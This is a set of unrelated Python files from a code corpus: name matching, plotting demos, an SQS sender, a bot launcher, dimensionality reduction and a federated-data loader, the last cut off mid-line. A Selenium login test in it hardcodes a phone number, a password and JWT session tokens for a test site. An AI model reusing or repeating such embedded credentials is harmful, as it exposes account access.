ls2[m]:\r\n n = m\r\n for n in range(m+1, min(m+ct+1, l2)):\r\n if s1[m] == ls2[n]:\r\n break\r\n ct -= (n-m)\r\n if ct < 0 or n == m:\r\n return False\r\n # rearrange\r\n temp = ls2[m]\r\n for i in range(m, n):\r\n ls2[i] = ls2[i+1]\r\n ls2[n] = temp\r\n return True\r\n\r\n\r\ndef processName(s):\r\n s = s.upper()\r\n s = s.replace(\"KU.\", \"KUMAR\")\r\n s = s.replace(\" KU \", \" KUMAR \")\r\n s = s.replace(\"KR.\", \"KUMAR\")\r\n s = s.replace(\"NWAR\", \"WAR\")\r\n s = re.sub('[\\.\\;\\,\\:\\(\\)]', ' ', s)\r\n s = s.replace('DUTTA', 'DATTA')\r\n s = s.replace('OU', 'AU')\r\n s = s.replace('OW', 'AU')\r\n s = s.replace('DHR', 'DHAR')\r\n s = s.replace('DHURY', 'DHARI')\r\n s = s.replace('DHURI', 'DHARI')\r\n # this combined with dh rule gives madari for madhuri\r\n s = re.sub(r'^DR ', '', s)\r\n s = re.sub(r'^MR ', '', s)\r\n s = re.sub(r'^MS ', '', s)\r\n s = re.sub(r'^MRS ', '', s)\r\n s = re.sub(r'^SMT ', '', s)\r\n s = re.sub(r'^SHRI ', '', s)\r\n s = re.sub(r'^SRI ', '', s)\r\n s = s.replace(' DR ', '')\r\n s = s.replace(' MR ', '')\r\n s = s.replace(' MS ', '')\r\n s = s.replace(' MRS ', '')\r\n s = s.replace(' SMT ', '')\r\n s = s.replace(' SHRI ', '')\r\n s = s.replace(' SRI ', '')\r\n s = s.replace('MED', 'MAD')\r\n s = s.replace(' BHAI', 'BHAI')\r\n s = s.replace('E', 'EE')\r\n s = s.replace('EE', 'I')\r\n s = s.replace('OO', 'U')\r\n # o and oo match issue\r\n s = s.replace('RAY', 'ROY')\r\n s = re.sub(r'(.)\\1+', r'\\1', s)\r\n s = s.replace('WALA', 'WAL')\r\n #s = s.replace('AGRA', 'AGAR')\r\n s = s.replace('TH', 'T')\r\n s = s.replace('DH', 'D')\r\n s = s.replace('SH', 'S')\r\n s = s.replace('KH', 'K')\r\n # s = s.replace('CH', 'K')\r\n s = s.replace('CK', 'K')\r\n s = s.replace('BH', 'B')\r\n s = s.replace('GH', 'G')\r\n # first H then any of the above consonants also\r\n s = s.replace('F', 'PH')\r\n s = s.replace('X', 'KS')\r\n #s = s.replace('EI', 'I')\r\n #s = s.replace('IE', 'I')\r\n s = s.replace('IY', 'I')\r\n s = s.replace('Y', 'I')\r\n s = s.replace('W', 'V')\r\n s = s.replace('V', 'B')\r\n s = s.strip()\r\n return s\r\n\r\n\r\nif __name__ == '__main__':\r\n print(compare(\"aditya guru\", \"aditya g\"))\r\n print(compare(\"aditya g\", \"aditya guru\"))\r\n print(compare(\"aditya g\", \"aditya kumar guru\"))\r\n print(compare(\"aditya guru\", \"aditya b\"))\r\n print(compare(\"aditya kumar guru\", \"aditya b\"))\r\n print(compare(\"bditya guru\", \"aditya b\"))\r\n print(compare(\"JOSPEH VARGHESE\", \"JOSEPH VARGHESE\"))\r\n print(processString(\"Payal Electronics(P)\"))\r\n print(processString('Deepak Fertilizers & Petrochemicals Corp Ltd'))\r\n print(removeHashNSpace(\"Pay & Go #P #L\"))\r\n # print(wordwiseJaroWinkler(\"DEEPAK AGRO SOLUTIONS #L\", \"DEEPAK GULF LLC\"))\r\n # print(wordwiseJaroWinkler(\"MANJU AGRO #P #L\", \"MANJU SHREE PLANTATION #L\"))\r\n print(wordSetLevenstein(\"ACTIVE CHEMICAL #P\", \"ACTIVE CHEMICALS #P #L\"))\r\n print(wordSetLevenstein(\"KETAN PLASTICS #P #L\",\r\n \"KETAN PLASTIC INDUSTRIES #P #L\"))\r\n print(wordSetLevenstein(\"NOVA TUBES #P #L\", \"NOVA TELESEC #P #L\"))\r\n print(stringLevensteinFraction(\"NOVA TUBES #P #L\", \"NOVA TELESEC #P #L\"))\r\n print(stringLevensteinFraction(\"CENTURY TEXTILES #L\",\"CENTURY TEXTILE & INDUSTRIES #L\"))\r\n print(fstwtdsetL(\"TRENT\", \"TRENT #L\"))\r\n print(fstwtdsetL(\"INDIA FOILS #L #M\",\"INDIA FOILS #L\"))\r\n # print(getMatches(\"DEEPAK PHENOLICS #L\", [\"DEEPAK PHENOLICS #L\", \"DPL\", \"XYZ\"], limit=2, cutoff=0,max_exact=2))\r\n pass\r\n# \"BALAJI INSTALMENT SU\", \"BALAJI INFRASTRUCTURE & DEVELOPMENT COMPANY #L\"\r\n# \"SHERATON INTNL INC\", \"SHERATON PROPERTIES & FINANCE #L\"\r\n", "sub_path": "entitymatching.py", "file_name": "entitymatching.py", "file_ext": "py", "file_size_in_byte": 13932, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "jellyfish.levenshtein_distance", "line_number": 7, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 35, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 82, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 83, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 86, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 88, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 89, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 104, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 104, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 105, "usage_type": "call"}, {"api_name": "jellyfish.levenshtein_distance", "line_number": 120, "usage_type": "call"}, {"api_name": "jellyfish.levenshtein_distance", "line_number": 129, "usage_type": "call"}, {"api_name": "jellyfish.jaro_winkler", "line_number": 154, "usage_type": "call"}, {"api_name": "bisect.bisect_left", "line_number": 223, "usage_type": "call"}, {"api_name": "fuzzywuzzy.fuzz.partial_ratio", "line_number": 244, "usage_type": "call"}, {"api_name": "fuzzywuzzy.fuzz", "line_number": 244, "usage_type": "name"}, {"api_name": "fuzzywuzzy.fuzz.partial_ratio", "line_number": 275, "usage_type": "call"}, {"api_name": "fuzzywuzzy.fuzz", "line_number": 275, "usage_type": "name"}, {"api_name": "fuzzywuzzy.fuzz.partial_ratio", "line_number": 284, "usage_type": "call"}, {"api_name": "fuzzywuzzy.fuzz", "line_number": 284, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 332, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 340, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 341, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 342, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 343, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 344, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 345, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 346, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 361, "usage_type": "call"}]} {"seq_id": "337457573", "text": "\"\"\"\nThe goal of this demo, which should be run during class 6, is to show how\nuseful and better the OO interface of Python truly is. The final code\nhere is pretty simple, but it should be written from scratch, in front\nof the students. This also drives home the point of procedural programming\nand shows them how the instructor thinks when designing his code.\n\nThe \"plotting example\", also from class 6, refers to showing how to use\nthe \"plot()\" method of a DF instead of this code. The generated plots\nare sometimes not as nice, but they're definitely easier to generate.\n\n\"plotting example\" also shows \"pd.read_clipboard()\" by taking data\nfrom online resources (https://rcompanion.org/rcompanion/d_07.html)\nand \"pasting\" them into a dataframe, and then\nplotting it with a couple lines of code. Finally we show how two lines\nof seaborn code can make this whole story to be much easier.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef make_single_sine(t: np.ndarray, freq: float=1.0) -> np.ndarray:\n \"\"\"Creates a one dimensional sine wave with the given freq (Hz)\"\"\"\n return np.sin(2 * np.pi * t * freq)\n\n\ndef make_sines(freqs: list, t: np.ndarray) -> np.ndarray:\n \"\"\"Creates a 2D array, where each row is a single sine wave with a\n given frequency.\"\"\"\n rows = len(freqs)\n columns = len(t)\n sine_waves = np.zeros((rows, columns))\n for idx, freq in enumerate(freqs):\n sine_waves[idx] = make_single_sine(t, freq)\n return sine_waves\n\n\nif __name__ == \"__main__\":\n freqs = [1, 5, 10] # Hz\n t = np.arange(0, 5, 0.01)\n sine_waves = make_sines(freqs, t)\n\n fig, axes = plt.subplots(len(freqs), 1, sharex=True)\n for ax, freq, sine_wave in zip(axes, freqs, sine_waves):\n ax.plot(sine_wave)\n ax.set_ylabel(f\"{str(freq)} [Hz]\")\n\n plt.show()\n\n\n\n", "sub_path": "classes/extra_material/matplotlib_three_axes_demo.py", "file_name": "matplotlib_three_axes_demo.py", "file_ext": "py", "file_size_in_byte": 1812, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.ndarray", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}]} {"seq_id": "145135551", "text": "from memory import Memory\nimport pickle\n\n\nclass Mind:\n '''\n this isn't runnable, highest level of Memory/Node management\n a mind is an arbitrarily nested list of Memories\n TO DO:\n -adding memories\n -removing memories\n -renaming memories\n -copying memories\n -editing memories\n \n \n '''\n default_file=r'C:\\Python_docs\\Axiom\\minds\\mind_pickle_storage'\n\n def __init__(self,memories=[],file=default_file):\n self.file_as_text=file\n self.memories=memories\n \n def save(self):\n '''\n file is string object\n '''\n file=open(self.file_as_text, 'wb')\n pickle.dump(self, file, pickle.HIGHEST_PROTOCOL) #switch to DEFAULT_PROTOCOL if in doubt\n\n def load(self):\n '''Pi\n file is string object\n '''\n file=open(self.file_as_text, 'rb')\n return pickle.load(file)\n\n def __repr__(self):#code from old Memory class -- abstract\n '''\n displays all nested memories by title\n '''\n \n def disp(l, indent=0):\n # indent is an int representinting the number of tabs\n new=''\n for i in l:\n if not i:\n new+='[]'#remove if this is a hassle. it should become immediately evident\n elif isinstance(i, Memory):\n new += '\\t' * indent + str(i) + '\\n' * 2\n elif type(i) is list:\n indent+=1\n new+=str((disp(i,indent=indent)))\n return new\n \n return disp(self.memories)\n\n \nif __name__ == '__main__':\n from blurb import Blurb\n file=r'C:\\Python_docs\\Axiom\\minds\\mind_pickle_storage'\n a=Blurb('blurb1', 'body1')\n b=Blurb('blurb2','body2')\n c=Blurb('blurb3','body3')\n mem= Memory('long test memory one',[a,b,[a,b, [a,b,[a,[a,[a,b]]],b,c], c]])\n mem2=Memory('short test memory two',[a,b,c])\n \n mind=Mind([mem, mem2])\n mind2=Mind([mem, [mem, [mem2, [[[mem]],mem2]],mem2]])\n\n\n\n\n\n\n\n\n\n \n", "sub_path": "mind.py", "file_name": "mind.py", "file_ext": "py", "file_size_in_byte": 2031, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pickle.dump", "line_number": 29, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 36, "usage_type": "call"}, {"api_name": "memory.Memory", "line_number": 49, "usage_type": "argument"}, {"api_name": "blurb.Blurb", "line_number": 62, "usage_type": "call"}, {"api_name": "blurb.Blurb", "line_number": 63, "usage_type": "call"}, {"api_name": "blurb.Blurb", "line_number": 64, "usage_type": "call"}, {"api_name": "memory.Memory", "line_number": 65, "usage_type": "call"}, {"api_name": "memory.Memory", "line_number": 66, "usage_type": "call"}]} {"seq_id": "22865519", "text": "from __future__ import absolute_import\n\nimport boto3\nimport botocore\nimport json\nimport logging\nimport os\n\nfrom django.conf import settings\n\nfrom challenges.models import Challenge\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_or_create_sqs_queue(queue_name):\n \"\"\"\n Args:\n queue_name: Name of the SQS Queue\n Returns:\n Returns the SQS Queue object\n \"\"\"\n if settings.DEBUG or settings.TEST:\n sqs = boto3.resource(\n \"sqs\",\n endpoint_url=os.environ.get(\"AWS_SQS_ENDPOINT\", \"http://sqs:9324\"),\n region_name=os.environ.get(\"AWS_DEFAULT_REGION\", \"us-east-1\"),\n aws_secret_access_key=os.environ.get(\"AWS_SECRET_ACCESS_KEY\", \"x\"),\n aws_access_key_id=os.environ.get(\"AWS_ACCESS_KEY_ID\", \"x\"),\n )\n # Use default queue name in dev and test environment\n queue_name = \"evalai_submission_queue\"\n else:\n sqs = boto3.resource(\n \"sqs\",\n region_name=os.environ.get(\"AWS_DEFAULT_REGION\", \"us-east-1\"),\n aws_secret_access_key=os.environ.get(\"AWS_SECRET_ACCESS_KEY\"),\n aws_access_key_id=os.environ.get(\"AWS_ACCESS_KEY_ID\"),\n )\n\n if queue_name == \"\":\n queue_name = \"evalai_submission_queue\"\n\n # Check if the queue exists. If not, then create one.\n try:\n queue = sqs.get_queue_by_name(QueueName=queue_name)\n except botocore.exceptions.ClientError as ex:\n if (\n ex.response[\"Error\"][\"Code\"]\n == \"AWS.SimpleQueueService.NonExistentQueue\"\n ):\n queue = sqs.create_queue(QueueName=queue_name)\n else:\n logger.exception(\"Cannot get or create Queue\")\n return queue\n\n\ndef publish_submission_message(message):\n \"\"\"\n Args:\n message: A Dict with following keys\n - \"challenge_pk\": int\n - \"phase_pk\": int\n - \"submission_pk\": int\n - \"submitted_image_uri\": str, (only available when the challenge is a code upload challenge)\n\n Returns:\n Returns SQS response\n \"\"\"\n\n try:\n challenge = Challenge.objects.get(pk=message[\"challenge_pk\"])\n except Challenge.DoesNotExist:\n logger.exception(\n \"Challenge does not exist for the given id {}\".format(message[\"challenge_pk\"])\n )\n return\n queue_name = challenge.queue\n queue = get_or_create_sqs_queue(queue_name)\n response = queue.send_message(MessageBody=json.dumps(message))\n return response\n", "sub_path": "apps/jobs/sender.py", "file_name": "sender.py", "file_ext": "py", "file_size_in_byte": 2487, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.settings.DEBUG", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 23, "usage_type": "name"}, {"api_name": "django.conf.settings.TEST", "line_number": 23, "usage_type": "attribute"}, {"api_name": "boto3.resource", "line_number": 24, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 26, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 27, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 28, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 29, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 29, "usage_type": "attribute"}, {"api_name": "boto3.resource", "line_number": 34, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 36, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 37, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 38, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 38, "usage_type": "attribute"}, {"api_name": "botocore.exceptions", "line_number": 47, "usage_type": "attribute"}, {"api_name": "challenges.models.Challenge.objects.get", "line_number": 72, "usage_type": "call"}, {"api_name": "challenges.models.Challenge.objects", "line_number": 72, "usage_type": "attribute"}, {"api_name": "challenges.models.Challenge", "line_number": 72, "usage_type": "name"}, {"api_name": "challenges.models.Challenge.DoesNotExist", "line_number": 73, "usage_type": "attribute"}, {"api_name": "challenges.models.Challenge", "line_number": 73, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 80, "usage_type": "call"}]} {"seq_id": "405232083", "text": "#! /usr/bin/env bash\n\nimport asyncio\nimport logging.config\nimport sys\nfrom pathlib import Path\n\nLOGGING = {\n \"version\": 1,\n \"formatters\": {\n \"brief\": {\n \"()\": \"colorlog.ColoredFormatter\",\n \"format\": \"{black}{asctime}{reset} {blue}{module}{reset} {log_color}{levelname}{reset}: {message}\",\n \"style\": \"{\"\n },\n \"detailed\": {\n \"format\": \"{asctime} {module} ({name}) {levelname} >> {message}\",\n \"style\": \"{\"\n }\n },\n \"handlers\": {\n \"console\": {\n \"class\": \"logging.StreamHandler\",\n \"formatter\": \"brief\",\n \"level\": \"DEBUG\",\n \"stream\": \"ext://sys.stdout\"\n },\n \"file\": {\n \"class\": \"logging.handlers.RotatingFileHandler\",\n \"level\": \"DEBUG\",\n \"formatter\": \"detailed\",\n \"filename\": \"logs/giesela.log\",\n \"mode\": \"w\",\n \"backupCount\": 3\n }\n },\n \"loggers\": {\n \"giesela\": {\n \"level\": \"DEBUG\",\n \"propagate\": False,\n \"handlers\": [\"console\", \"file\"]\n }\n },\n \"root\": {\n \"level\": \"INFO\",\n \"handlers\": [\"console\", \"file\"]\n }\n}\n\n\ndef setup_logging():\n Path(\"logs\").mkdir(exist_ok=True)\n\n logging.config.dictConfig(LOGGING)\n\n\ndef unload_package(name: str):\n for module in sys.modules.copy():\n package = module.split(\".\")[0]\n if package == name:\n sys.modules.pop(module)\n\n\ndef main():\n setup_logging()\n\n log = logging.getLogger(\"giesela\")\n handler = logging._handlers.get(\"file\")\n\n while True:\n from giesela import Giesela, RestartSignal, TerminateSignal\n\n handler.doRollover()\n\n log.info(\"creating Giesela\")\n bot = Giesela()\n log.info(\"running...\")\n try:\n bot.run()\n except RestartSignal:\n log.info(\"restarting\")\n asyncio.set_event_loop(asyncio.new_event_loop())\n unload_package(\"giesela\")\n except TerminateSignal:\n break\n else:\n log.info(\"shut down\")\n break\n\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 2168, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pathlib.Path", "line_number": 52, "usage_type": "call"}, {"api_name": "logging.config.config.dictConfig", "line_number": 54, "usage_type": "call"}, {"api_name": "logging.config.config", "line_number": 54, "usage_type": "attribute"}, {"api_name": "logging.config", "line_number": 54, "usage_type": "name"}, {"api_name": "sys.modules.copy", "line_number": 58, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 58, "usage_type": "attribute"}, {"api_name": "sys.modules.pop", "line_number": 61, "usage_type": "call"}, {"api_name": "sys.modules", "line_number": 61, "usage_type": "attribute"}, {"api_name": "logging.config.getLogger", "line_number": 67, "usage_type": "call"}, {"api_name": "logging.config", "line_number": 67, "usage_type": "name"}, {"api_name": "logging.config._handlers.get", "line_number": 68, "usage_type": "call"}, {"api_name": "logging.config._handlers", "line_number": 68, "usage_type": "attribute"}, {"api_name": "logging.config", "line_number": 68, "usage_type": "name"}, {"api_name": "giesela.Giesela", "line_number": 76, "usage_type": "call"}, {"api_name": "giesela.RestartSignal", "line_number": 80, "usage_type": "name"}, {"api_name": "asyncio.set_event_loop", "line_number": 82, "usage_type": "call"}, {"api_name": "asyncio.new_event_loop", "line_number": 82, "usage_type": "call"}, {"api_name": "giesela.TerminateSignal", "line_number": 84, "usage_type": "name"}]} {"seq_id": "147185817", "text": "#! python3\n# -*- coding:utf-8 -*-\n\nfrom selenium import webdriver\nimport unittest\nfrom time import sleep\nfrom selenium.webdriver.common.action_chains import ActionChains\n\nclass LoginTestCase(object):\n\n def __init__(self):\n self.driver=webdriver.Chrome()\n\n #登录\n def test_loginFile(self):\n browser=self.driver\n browser.get(\"https://i.mayitest.cn\")\n browser.implicitly_wait(4)\n #鼠标点击标签页\n yg=browser.find_element_by_xpath(\"//div[@class='login-box']/div[@class='box']/ul[@class='tabs clearfix']/li[2]/div\")\n sleep(2)\n ActionChains(browser).move_to_element(yg).click(yg).perform()\n sleep(2)\n userElem=browser.find_element_by_xpath(\"//input[@formcontrolname='mobile']\")\n userElem.clear()\n userElem.send_keys(\"13145866825\")\n pwdElem = browser.find_element_by_xpath(\"//input[@formcontrolname='password']\")\n pwdElem.clear()\n pwdElem.send_keys(\"1234567\")\n btnLogin=browser.find_element_by_css_selector(\"div.login-box > div.box > form > button\").click()\n sleep(4)\n browser.add_cookie({\"name\": \"mayihr_token\",\"value\": \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vc2Fhcy1hcGkubWF5aXRlc3QuY24vdXNlci91c2Vycy9hdXRoZW50aWNhdGUiLCJpYXQiOjE1NzI0MjY4NjAsImV4cCI6MTU3MjU5OTY2MCwibmJmIjoxNTcyNDI2ODYwLCJqdGkiOiJ2R1R1Y0VyNmRZaEVPUHhJIiwic3ViIjo3NzMxNSwicHJ2IjoiZjkzMDdlYjVmMjljNzJhOTBkYmFhZWYwZTI2ZjAyNjJlZGU4NmY1NSIsImp3dF91c2VyX3R5cGUiOiJhcGkiLCJsb2dpbl9jbGllbnQiOiJwYyJ9.Gdo0i1l2HvrBniKkmYtyEvqZ1RRlTSfq2IjPJP8Ye9c\"})\n # browser.refresh()\n sleep(3)\n return browser\n\n #获取cookie\n def getCookie(self):\n # for cookie in self.driver.get_cookies():\n # # print(cookie[\"name\"],cookie[\"value\"])\n # if cookie['name']==\"gr_user_id\":\n # self.driver.add_cookie({\"name\": cookie['name'], \"value\": cookie['value']})\n # webcookie=cookie['value']\n webcookie=self.driver.add_cookie({\"name\": \"mayihr_token\", \"value\": \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vc2Fhcy1hcGkubWF5aXRlc3QuY24vdXNlci91c2Vycy9hdXRoZW50aWNhdGUiLCJpYXQiOjE1NzI0MjE0NjAsImV4cCI6MTU3MjU5NDI2MCwibmJmIjoxNTcyNDIxNDYwLCJqdGkiOiJtbGpVamQ1R0dDSjl5NWltIiwic3ViIjo3NzMxNSwicHJ2IjoiZjkzMDdlYjVmMjljNzJhOTBkYmFhZWYwZTI2ZjAyNjJlZGU4NmY1NSIsImp3dF91c2VyX3R5cGUiOiJhcGkiLCJsb2dpbl9jbGllbnQiOiJwYyJ9.5on91qwXFXtQ2PlAxWfChbnU8lsKVAJ-tA4sm8CWvIs\"})\n return webcookie\n\n #获取token\n # def get_token(self):\n # token = self.driver.execute_script('localStorage.getItem(\"mayihr_token\");')\n # # 添加token\n # # js = 'window.localStorage.setItem(\"token\",\"token值\")'\n # # self.driver.execute_script(js)\n #\n # # self.driver.refresh() # 刷新\n # return token\n\n #检查元素是否存在\n def isElementExist(self,element):\n flag=False\n browser = self.driver\n try:\n browser.find_element_by_css_selector(element)\n flag = True\n return flag\n except:\n return flag\n\n # def tearDown(self):\n # self.driver.close()\n\n if __name__==\"__main__\":\n unittest.main()\n# lc=LoginTestCase()\n# lc.test_loginFile()\n# aa=lc.getCookie()\n# bb=lc.get_token()\n# print(aa)\n# print(bb)\n", "sub_path": "NewSaas_zdh/module/login.py", "file_name": "login.py", "file_ext": "py", "file_size_in_byte": 3306, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 12, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 12, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 21, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.action_chains.ActionChains", "line_number": 22, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 23, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 31, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 34, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 72, "usage_type": "call"}]} {"seq_id": "137543661", "text": "from sklearn.manifold import LocallyLinearEmbedding, Isomap\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis as LDA\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import preprocessing\nfrom timeit import default_timer as timer\n\ntestDataPercent = 0.33\nselectionSeed = 3\n\ndef prepareData(x, y):\n return train_test_split(x, y, test_size=testDataPercent,random_state=selectionSeed) ##random_state=2 data seed\n\nclass ReductionMethod:\n def __init__(self, capByClasses, name, method):\n self.name = name\n self.method = method\n self.capByClasses = capByClasses\n\n def execute(self, dimension, x, y, dataset):\n x = x.values\n y = y.values\n\n start = timer()\n reducedData = self.method(dimension, x, y)\n end = timer()\n\n xTrainingData, xTestData, dataset.yTrainingData, dataset.yTestData = prepareData(reducedData, y)\n\n xTrainingData = preprocessing.scale(xTrainingData)\n xTestData = preprocessing.scale(xTestData)\n\n return dataset.addReducedData(reducedData, xTrainingData, xTestData, dimension, (end - start) * 1000)\n\n\n\n\nreductionAlgorithms: ReductionMethod = []\n\n\n\n\nreductionAlgorithms.append(ReductionMethod(False, \"LLE\",\n lambda dimensions, x, y:\n LocallyLinearEmbedding(n_components=dimensions, eigen_solver='arpack').fit_transform(x)))\n\nreductionAlgorithms.append(ReductionMethod(True, \"LDA\",\n lambda dimensions, x, y:\n LDA(n_components=dimensions).fit_transform(x, y)))\n\nreductionAlgorithms.append(ReductionMethod(False, \"Isomap\",\n lambda dimensions, x, y:\n Isomap(n_components=dimensions).fit_transform(x)))\n\n\n", "sub_path": "reduction.py", "file_name": "reduction.py", "file_ext": "py", "file_size_in_byte": 1888, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sklearn.model_selection.train_test_split", "line_number": 11, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 23, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 25, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.scale", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 29, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.scale", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 30, "usage_type": "name"}, {"api_name": "sklearn.manifold.LocallyLinearEmbedding", "line_number": 44, "usage_type": "call"}, {"api_name": "sklearn.discriminant_analysis.LinearDiscriminantAnalysis", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.manifold.Isomap", "line_number": 52, "usage_type": "call"}]} {"seq_id": "205985881", "text": "import json\nfrom pathlib import Path\nimport tensorflow as tf\nimport numpy as np\n\ndef read_fedprox_json(train_data_dir, test_data_dir):\n '''parses data in given train and test data directories\n\n assumes:\n - the data in the input directories are .json files with \n keys 'users' and 'user_data'\n - the set of train set users is the same as the set of test set users\n \n Return:\n clients: list of client ids\n train_data: dictionary of train (numpy) data\n test_data: dictionary of test (numpy) data\n '''\n clients = []\n train_npdata = {}\n test_npdata = {}\n\n train_files = Path.iterdir(train_data_dir)\n train_files = [f for f in train_files if f.suffix == '.json']\n for file_path in train_files:\n with open(file_path, 'r') as inf:\n cdata = json.load(inf)\n clients.extend(cdata['users'])\n train_npdata.update(cdata['user_data'])\n\n test_files = Path.iterdir(test_data_dir)\n test_files = [f for f in test_files if f.suffix == '.json']\n for file_path in test_files:\n with open(file_path, 'r') as inf:\n cdata = json.load(inf)\n test_npdata.update(cdata['user_data'])\n\n clients = list(sorted(train_npdata.keys()))\n\n '''\n # Convert numpy train\\test data to tf.Dataset format\n train_tfdata, test_tfdata = {}, {}\n for c in clients:\n print(\"handling\", c)\n train_tfdata[c] = tf.data.Dataset.from_tensor_slices((train_npdata[c]['x'], train_npdata[c]['y']))\n test_tfdata[c] = tf.data.Dataset.from_tensor_slices((test_npdata[c]['x'], test_npdata[c]['y']))\n '''\n return clients, train_npdata, test_npdata\n\ndef read_mnist(train_data_dir, test_data_dir):\n return read_fedprox_json(train_data_dir, test_data_dir)\n\ndef read_femnist(train_data_dir, test_data_dir):\n return read_fedprox_json(train_data_dir, test_data_dir)\n\ndef read_fmnist(train_data_dir, test_data_dir):\n return read_fedprox_json(train_data_dir, test_data_dir)\n\ndef read_synthetic(train_data_dir, test_data_dir):\n return read_fedprox_json(train_data_dir, test_data_dir)\n\ndef read_federated_data(dsname):\n clients = []\n train_data = {}\n test_data = {}\n train_size, test_size = 0, 0\n wspath = Path(__file__).parent.parent.absolute() # The working path of SplitGP\n # The training data directory\n train_data_dir = Path.joinpath(wspath, 'data', dsname, 'data', 'train').absolute()\n # The testing data directory\n test_data_dir = Path.joinpath(wspath, 'data', dsname, 'data', 'test').absolute()\n\n if dsname.startswith('mnist'):\n clients, train_data, test_data = read_mnist(train_data_dir, test_data_dir)\n if dsname == 'femnist':\n clients, train_data, test_data = read_femnist(train_data_dir, test_data_dir)\n if dsname == 'fmnist':\n clients, train_data, test_data = read_fmnist(train_data_dir, test_data_dir)\n if dsname.startswith('synthetic'):\n clients, train_data, test_data = read_synthetic(train_data_dir, test_data_dir)\n \n # Convert list to numpy array\n for c in train_data.keys():\n train_data[c]['x'] = np.array(train_data[c]['x'], dtype=np.float32) # shape=(num_samples, num_features)\n train_data[c]['y'] = np.array(train_data[c]['y'], dtype=np.uint8) # shape=(num_samples, )\n train_size += train_data[c]['y'].shape[0]\n for c in test_data.keys():\n test_data[c]['x'] = np.array(test_data[c]['x'], dtype=np.float32)\n 